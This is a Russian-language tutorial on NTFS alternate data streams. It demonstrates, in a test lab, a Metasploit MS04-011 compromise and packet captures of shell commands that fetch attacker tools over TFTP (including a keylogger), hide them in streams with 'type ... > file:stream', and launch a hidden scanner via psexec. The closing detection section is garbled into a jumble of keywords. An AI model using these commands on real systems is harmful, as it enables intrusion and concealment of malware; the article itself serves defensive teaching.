Альтернативные потоки данных NTFS
1. ВведениеЦель этой статьи – описание альтернативных потоков данных в Microsoft Windows, демонстрация того, как их можно создать, скомпрометировав машину, используя Metasploit Framework и как можно обнаружить с помощью свободно распространяемых утилит. Для начала мы определимся в том, что из себя представляют альтернативные потоки данных и какую угрозу они могут представлять для вашей организации. Затем мы рассмотрим пример компрометации удаленной машины с помощью эксплойта, предоставляющего доступ к командному интерпретатору и позволяющего скрывать файлы на компьютере жертвы. После этого, мы рассмотрим некоторые свободно распространяемые утилиты, которые могут быть использованы для определения и предотвращения такой активности. Начнем. 2. Что такое альтернативные потоки данныхАльтернативные потоки данных появились в ОС Windows NT с введением файловой системы NTFS. Что же такое альтернативные потоки данных? В сущности, они были созданы для обеспечения совместимости в HFS (устаревшей файловой системой Macintosh). Суть организации HFS состоит в раздвоение файла на файл данных и файл ресурсов. В файле данных находится содержимое документа, а в файле ресурсов - идентификатор типа файла и другие свойства. На сегодняшний день не всем известно о существовании альтернативных потоков данных. Однако какое-то время они использовались некоторыми не лучшими представителями сообщества специалистов безопасности. Было отмечено увеличение использования этих потоков злонамеренными хакерами, желающими спрятать свои файлы сразу после компрометации компьютера. Кроме этого, было замечено, что некоторые вирусы и другие типы злонамеренного ПО также используют альтернативные потоки данных. Проблема в том, что эти потоки нельзя просмотреть, используя стандартные методы, через командную строку или с помощью Windows Explorer. Как же обнаружить злонамеренное использование альтернативных потоков данных? Необходимо следить за повышением использования таких потоков. Даже если учесть, что корпоративный объект хорошо защищен, нужно иметь в виду, что не все антивирусные средства в конфигурации по умолчанию проверяют альтернативные потоки данных. В настоящее время большая часть антивирусных продуктов находит эти потоки, но только после дополнительной настройки. 3. Пример использования альтернативных потоков данныхЧтобы действительно осознать опасность, которую представляют альтернативные потоки данных, нужно увидеть практическую демонстрацию их злонамеренного использования. К концу этой статьи читатель, с помощью Metasploit Framework, получит доступ к удаленному компьютеру с правами системы. В действительности, в соответствии с целями статьи, это будет не реальная машина, а тестовая, подготовленная специально для наших исследований. Однако использование специального тестового компьютера никак не повлияет на результат. Чтобы доказать возможность атаки, не нужно атаковать реальный компьютер через Интернет. В данном примере мы проникнем в компьютер, используя Metasploit Framework. Эксплойт, который я буду использовать основан на уязвимости MS04-011, также известной в Metasploit как “lsass overflow”. Для загрузки набора файлов, который мы хотим спрятать, будем использовать протокол TFTP. Затем эти файлы будут помещены в альтернативные потоки данных существующих файлов, найденных на уязвимом компьютере, что ясно продемонстрирует возможность их злонамеренного использования. Как только эти действия будут завершены, сканер, загруженный на компьютер, будет удаленно запущен и начнется поиск других уязвимых машин во внутренней сети. H. D. Moore, один из соавторов Metasploit Framework, внедрил в эксплойт ASCII строку “METASPLOIT”. Можно предположить, что это было сделано для того, чтобы производители IDS смогли создать сигнатуру для его утилиты. Взгляните на пакет, отправленный с атакующего компьютера, показанный ниже, в котором можно заметить эту строку. 10:38:49.665427 IP (tos 0x0, ttl 64, id 2924, offset 0, flags [DF], length: 152) 192.168.1.102.32776 > 192.168.1.101.139: P [tcp sum ok] 771689123:771689223(100) ack 3530170662 win 5840 NBT Packet0x0000 4500 0098 0b6c 4000 4006 aad8 c0a8 0166E....l@.@......f0x0010 c0a8 0165 8008 008b 2dff 0aa3 d26a 2126...e....-....j!&0x0020 8018 16d0 d4ea 0000 0101 080a 0015 013a...............:0x0030 0000 18d4 0000 0060 ff53 4d42 7200 0000.......`.SMBr...0x0040 0018 0120 0000 0000 0000 0000 0000 0000................0x0050 0000 c912 0000 18d9 003d 0002 4d45 5441.........=..META0x0060 5350 4c4f 4954 0002 4c41 4e4d 414e 312eSPLOIT..LANMAN1.0x0070 3000 024c 4d31 2e32 5830 3032 0002 4e540..LM1.2X002..NT0x0080 204c 414e 4d41 4e20 312e 3000 024e 5420.LANMAN.1.0..NT.0x0090 4c4d 2030 2e31 3200 LM.0.12.Обратите внимание, 192.168.1.102 – атакующий компьютер, использующий Metasploit Framework, а 192.168.1.101 – компьютер жертвы, на котором установлена ОС Windows 2000 Professional. Инсталляция W2K свежая, без каких-либо исправлений или пакетов обновлений, используется только для демонстрационных целей. Имейте в виду, что для злонамеренного использования альтернативных потоков данных, в первую очередь нужно найти машину с уязвимостью, годной к использованию. Не обновленная Windows 2000 в данном случае используется только для демонстрации, в реальной жизни для реализации атаки на обновленную систему потребовался бы другой эксплойт. Ниже мы можем увидеть, что атака прошла успешно. Наша атакующая машина получила доступ к командной строке на компьютере жертвы. Порт 4321 – порт, используемый по умолчанию для lsass эксплойта в Metasploit. При желании он может быть изменен. 10:38:50.071766 IP (tos 0x0, ttl 128, id 85, offset 0, flags [DF], length: 82) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 3530253951:3530253993(42) ack 758421802 win 175200x0000 4500 0052 0055 4000 8006 7635 c0a8 0165E..R.U@...v5...e0x0010 c0a8 0166 0406 10e1 d26b 667f 2d34 992a...f.....kf.-4.*0x0020 5018 4470 095f 0000 4d69 6372 6f73 6f66P.Dp._..Microsof0x0030 7420 5769 6e64 6f77 7320 3230 3030 205bt.Windows.2000.[0x0040 5665 7273 696f 6e20 352e 3030 2e32 3139Version.5.00.2190x0050 355d 5]10:38:50.071943 IP (tos 0x0, ttl 128, id 86, offset 0, flags [DF], length: 83) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 3530253993:3530254036(43) ack 758421802 win 175200x0000 4500 0053 0056 4000 8006 7633 c0a8 0165E..S.V@...v3...e0x0010 c0a8 0166 0406 10e1 d26b 66a9 2d34 992a...f.....kf.-4.*0x0020 5018 4470 89be 0000 0d0a 2843 2920 436fP.Dp......(C).Co0x0030 7079 7269 6768 7420 3139 3835 2d32 3030pyright.1985-2000x0040 3020 4d69 6372 6f73 6f66 7420 436f 72700.Microsoft.Corp0x0050 2e0d 0a ...10:38:50.072162 IP (tos 0x0, ttl 128, id 88, offset 0, flags [DF], length: 58) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 3530254038:3530254056(18) ack 758421802 win 175200x0000 4500 003a 0058 4000 8006 764a c0a8 0165E..:.X@...vJ...e0x0010 c0a8 0166 0406 10e1 d26b 66d6 2d34 992a...f.....kf.-4.*0x0020 5018 4470 b1b4 0000 433a 5c57 494e 4e54P.Dp....C:\WINNT0x0030 5c73 7973 7465 6d33 323e \system32>Теперь по протоколу TFTP начинается передача файлов от атакующего на скомпрометированный компьютер. Обратите внимание на команду, которая была передана командному интерпретатору, приказывающую жертве загрузить файл ipeye.exe. 10:40:50.631410 IP (tos 0x0, ttl 64, id 39780, offset 0, flags [DF], length: 76) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 758421827:758421863(36) ack 3530255290 win 64320x0000 4500 004c 9b64 4000 4006 1b2c c0a8 0166E..L.d@.@..,...f0x0010 c0a8 0165 10e1 0406 2d34 9943 d26b 6bba...e....-4.C.kk.0x0020 5018 1920 8b78 0000 7466 7470 202d 6920P....x..tftp.-i.0x0030 3139 322e 3136 382e 312e 3130 3220 4745192.168.1.102.GE0x0040 5420 6970 6579 652e 6578 650a T.ipeye.exe.10:40:50.631981 IP (tos 0x0, ttl 128, id 123, offset 0, flags [DF], length: 76) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 3530255290:3530255326(36) ack 758421863 win 174590x0000 4500 004c 007b 4000 8006 7615 c0a8 0165E..L.{@...v....e0x0010 c0a8 0166 0406 10e1 d26b 6bba 2d34 9967...f.....kk.-4.g0x0020 5018 4433 6041 0000 7466 7470 202d 6920P.D3`A..tftp.-i.0x0030 3139 322e 3136 382e 312e 3130 3220 4745192.168.1.102.GE0x0040 5420 6970 6579 652e 6578 650a T.ipeye.exe.Загрузка файлов будет продолжаться до тех пор, пока мы не получим 4 файла: ipeye.exe, psexec.exe, pslist.exe, и klogger.exe. Для краткости я не стал приводить последовательную передачу пакетов. Ниже показано содержимое директории, содержащей загруженные файлы, на компьютере жертвы после завершения передачи. Имя этой директории - c:\compaq\. 10:43:11.263385 IP (tos 0x0, ttl 128, id 735, offset 0, flags [DF], length: 543) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 3530256009:3530256512(503) ack 758422019 win 173030x0000 4500 021f 02df 4000 8006 71de c0a8 0165E.....@...q....e0x0010 c0a8 0166 0406 10e1 d26b 6e89 2d34 9a03...f.....kn.-4..0x0020 5018 4397 e869 0000 0d0a 3132 2f30 352fP.C..i....12/05/0x0030 3230 3034 2020 3039 3a33 3061 2020 20202004..09:30a....0x0040 2020 2020 2020 2020 2020 3332 2c37 3638..........32,7680x0050 2069 7065 7965 2e65 7865 0d0a 3132 2f30.ipeye.exe..12/00x0060 352f 3230 3034 2020 3039 3a33 3261 20205/2004..09:32a..0x0070 2020 2020 2020 2020 2020 2020 3332 2c37............32,70x0080 3638 206b 6c6f 6767 6572 2e65 7865 0d0a68.klogger.exe..0x0090 3132 2f30 352f 3230 3034 2020 3039 3a3312/05/2004..09:30x00a0 3161 2020 2020 2020 2020 2020 2020 20311a.............10x00b0 3433 2c33 3630 2070 7365 7865 632e 657843,360.psexec.ex0x00c0 650d 0a31 322f 3035 2f32 3030 3420 2030e..12/05/2004..00x00d0 393a 3331 6120 2020 2020 2020 2020 20209:31a...........0x00e0 2020 2038 362c 3031 3620 7073 6c69 7374...86,016.pslist0x00f0 2e65 7865 0d0a 3132 2f30 342f 3230 3034.exe..12/04/20040x0100 2020 3032 3a31 3270 2020 2020 2020 3c44..02:12p................SP20x0120 3132 3633 0d0a 3132 2f30 352f 3230 30341263..12/05/20040x0130 2020 3039 3a30 3161 2020 2020 2020 2020..09:01a........0x0140 2020 2020 2020 2020 2020 3132 2074 6573..........12.tes0x0150 745f 6669 6c65 0d0a 3132 2f30 352f 3230t_file..12/05/200x0160 3034 2020 3039 3a30 3261 2020 2020 202004..09:02a......0x0170 2020 2020 2020 2020 2020 2020 3133 2074............13.t0x0180 6573 745f 6669 6c65 320d 0a31 322f 3035est_file2..12/050x0190 2f32 3030 3420 2030 393a 3032 6120 2020/2004..09:02a...0x01a0 2020 2020 2020 2020 2020 2020 2020 2031...............10x01b0 3320 7465 7374 5f66 696c 6533 0d0a 31323.test_file3..120x01c0 2f30 352f 3230 3034 2020 3039 3a30 3361/05/2004..09:03a0x01d0 2020 2020 2020 2020 2020 2020 2020 2020................0x01e0 2020 3133 2074 6573 745f 6669 6c65 340d..13.test_file4.0x01f0 0a31 322f 3035 2f32 3030 3420 2030 393a.12/05/2004..09:0x0200 3332 6120 2020 2020 2020 2020 2020 202032a.............0x0210 2020 2020 2020 3020 5446 5450 3738 30 ......0.TFTP780Ниже мы видим, как атакующий удаляет файл “tftp780” из этой директории. Это доказывает возможность удаления файлов. 10:45:56.901024 IP (tos 0x0, ttl 64, id 39855, offset 0, flags [DF], length: 55) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 758422044:758422059(15) ack 3530258111 win 107200x0000 4500 0037 9baf 4000 4006 1af6 c0a8 0166E..7..@.@......f0x0010 c0a8 0165 10e1 0406 2d34 9a1c d26b 76bf...e....-4...kv.0x0020 5018 29e0 a342 0000 6465 6c20 2f46 2074P.)..B..del./F.t0x0030 6674 7037 3830 0a ftp780.Теперь атакующий помещает исполняемый файл ipeye.exe в альтернативный поток данных, ассоциированный с существующим файлом test_file. Команда, осуществляющая эти действия, имеет следующий синтаксис: type ipeye.exe > test_file:ipeye.exe10:47:44.391095 IP (tos 0x0, ttl 64, id 39873, offset 0, flags [DF], length: 77) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 758422063:758422100(37) ack 3530258892 win 117920x0000 4500 004d 9bc1 4000 4006 1ace c0a8 0166E..M..@.@......f0x0010 c0a8 0165 10e1 0406 2d34 9a2f d26b 79cc...e....-4./.ky.0x0020 5018 2e10 7cc8 0000 7479 7065 2069 7065P...|...type.ipe0x0030 7965 2e65 7865 203e 2074 6573 745f 6669ye.exe.>.test_fi0x0040 6c65 3a69 7065 7965 2e65 7865 0a le:ipeye.exe.10:47:44.391676 IP (tos 0x0, ttl 128, id 789, offset 0, flags [DF], length: 77) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 3530258892:3530258929(37) ack 758422100 win 172220x0000 4500 004d 0315 4000 8006 737a c0a8 0165E..M..@...sz...e0x0010 c0a8 0166 0406 10e1 d26b 79cc 2d34 9a54...f.....ky.-4.T0x0020 5018 4346 676d 0000 7479 7065 2069 7065P.CFgm..type.ipe0x0030 7965 2e65 7865 203e 2074 6573 745f 6669ye.exe.>.test_fi0x0040 6c65 3a69 7065 7965 2e65 7865 0a le:ipeye.exe.Процесс скрытия оставшихся трех файлов, загруженных на скомпрометированный хост, закончен. Они скопированы в альтернативные потоки данных существующего файла на компьютере жертвы. Точно также вы можете скопировать файл в поток каталога, например C:\. Затем мы запустим psexec.exe на компьютере жертвы, который в свою очередь запустит сканер ipeye.exe, находящийся в альтернативном потоке данных c:\Compaq\test_file:ipeye.exe. Заметьте, я использую копию psexec.exe, находящуюся не в потоке, а в самой директории. Существует много способов запуска программы на Win32 компьютере. Один из вариантов создания процесса – использование команды “start”, что является простым решением, не оставляющим следов на машине жертвы. Некоторые хакеры вместо этого для запуска программы могут использовать bat-файл или другие средства. Фактически алгоритм работы хакеры не всегда может быть известен, и мы должны помнить – не все хакеры одинаковы. Подозрительные действия многих хакеров можно изучить, используя honeynet. Причина, по которой psexec.exe был выбран для этой статьи, очень проста – набор свободно распространяемых утилит, предоставляемых Sysinternals, часто используется хакерами. Поэтому для придания реализма статье я решил использовать именно их. Итак, продвинемся дальше и рассмотрим нижеприведенный пакет. 11:52:56.535800 IP (tos 0x0, ttl 64, id 40473, offset 0, flags [DF], length: 107) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 758423689:758423756(67) ack 3530302032 win 584000x0000 4500 006b 9e19 4000 4006 1858 c0a8 0166E..k..@.@..X...f0x0010 c0a8 0165 10e1 0406 2d34 a089 d26c 2250...e....-4...l"P0x0020 5018 e420 55ab 0000 7073 6578 6563 2e65P...U...psexec.e0x0030 7865 2063 3a5c 636f 6d70 6171 5c74 6573xe.c:\compaq\tes0x0040 745f 6669 6c65 3a69 7065 7965 2e65 7865t_file:ipeye.exe0x0050 2031 3932 2e31 3638 2e31 2e31 3030 202d.192.168.1.100.-0x0060 7379 6e20 2d70 2031 3339 0a syn.-p.139.Этот пакет является результатом исполнения следующей команды: psexec.exe c:\compaq\test_file:ipeye.exe 192.168.1.100 -syn -p 139Утилита для сканирования, ipeye.exe, часто используется хакерами для дальнейшего проникновения в сеть. Обратите внимание, для тестирования я использовал еще один компьютер, имеющий IP адрес 192.168.1.100 и слушающий 139 порт. Однако, как хакер, пришедший из внешней сети, для того чтобы найти это компьютер, я должен был бы произвести сканирование внутренней сети, используя один из зарезервированных диапазонов IP адресов. 11:52:56.536785 IP (tos 0x0, ttl 128, id 2126, offset 0, flags [DF], length: 107) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 3530302032:3530302099(67) ack 758423756 win 170780x0000 4500 006b 084e 4000 8006 6e23 c0a8 0165E..k.N@...n#...e0x0010 c0a8 0166 0406 10e1 d26c 2250 2d34 a0cc...f.....l"P-4..0x0020 5018 42b6 f6d2 0000 7073 6578 6563 2e65P.B.....psexec.e0x0030 7865 2063 3a5c 636f 6d70 6171 5c74 6573xe.c:\compaq\tes0x0040 745f 6669 6c65 3a69 7065 7965 2e65 7865t_file:ipeye.exe0x0050 2031 3932 2e31 3638 2e31 2e31 3030 202d.192.168.1.100.-0x0060 7379 6e20 2d70 2031 3339 0a syn.-p.139.11:52:56.536816 IP (tos 0x0, ttl 64, id 40474, offset 0, flags [DF], length: 40) 192.168.1.102.4321 > 192.168.1.101.1030: . [tcp sum ok] ack 3530302099 win 584000x0000 4500 0028 9e1a 4000 4006 189a c0a8 0166E..(..@.@......f0x0010 c0a8 0165 10e1 0406 2d34 a0cc d26c 2293...e....-4...l".0x0020 5010 e420 6fb0 0000 P...o...11:52:56.546849 IP (tos 0x0, ttl 128, id 2127, offset 0, flags [DF], length: 166) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 3530302099:3530302225(126) ack 758423756 win 170780x0000 4500 00a6 084f 4000 8006 6de7 c0a8 0165E....O@...m....e0x0010 c0a8 0166 0406 10e1 d26c 2293 2d34 a0cc...f.....l".-4..0x0020 5018 42b6 d271 0000 0d0a 5073 4578 6563P.B..q....PsExec0x0030 2076 312e 3535 202d 2045 7865 6375 7465.v1.55.-.Execute0x0040 2070 726f 6365 7373 6573 2072 656d 6f74.processes.remot0x0050 656c 790d 0a43 6f70 7972 6967 6874 2028ely..Copyright.(0x0060 4329 2032 3030 312d 3230 3034 204d 6172C).2001-2004.Mar0x0070 6b20 5275 7373 696e 6f76 6963 680d 0a53k.Russinovich..S0x0080 7973 696e 7465 726e 616c 7320 2d20 7777ysinternals.-.ww0x0090 772e 7379 7369 6e74 6572 6e61 6c73 2e63w.sysinternals.c0x00a0 6f6d 0d0a 0d0a om....11:52:56.546883 IP (tos 0x0, ttl 64, id 40475, offset 0, flags [DF], length: 40) 192.168.1.102.4321 > 192.168.1.101.1030: . [tcp sum ok] ack 3530302225 win 584000x0000 4500 0028 9e1b 4000 4006 1899 c0a8 0166E..(..@.@......f0x0010 c0a8 0165 10e1 0406 2d34 a0cc d26c 2311...e....-4...l#.0x0020 5010 e420 6f32 0000 P...o2..11:53:00.403951 IP (tos 0x0, ttl 128, id 2161, offset 0, flags [DF], length: 229) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 3530302225:3530302414(189) ack 758423756 win 170780x0000 4500 00e5 0871 4000 8006 6d86 c0a8 0165E....q@...m....e0x0010 c0a8 0166 0406 10e1 d26c 2311 2d34 a0cc...f.....l#.-4..0x0020 5018 42b6 8c3c 0000 0d0a 6970 4579 6520P.B..<....ipeye.0x0030 ed frank heyne arne vidstrom windows lads lns. w2k. freeware version copyright software program lists files with alternate data streams on your own risk directory c: size ads in file---------- opening following summary might be incorrect because there was at least one error bytes listedlns http: alternative stream ntfs>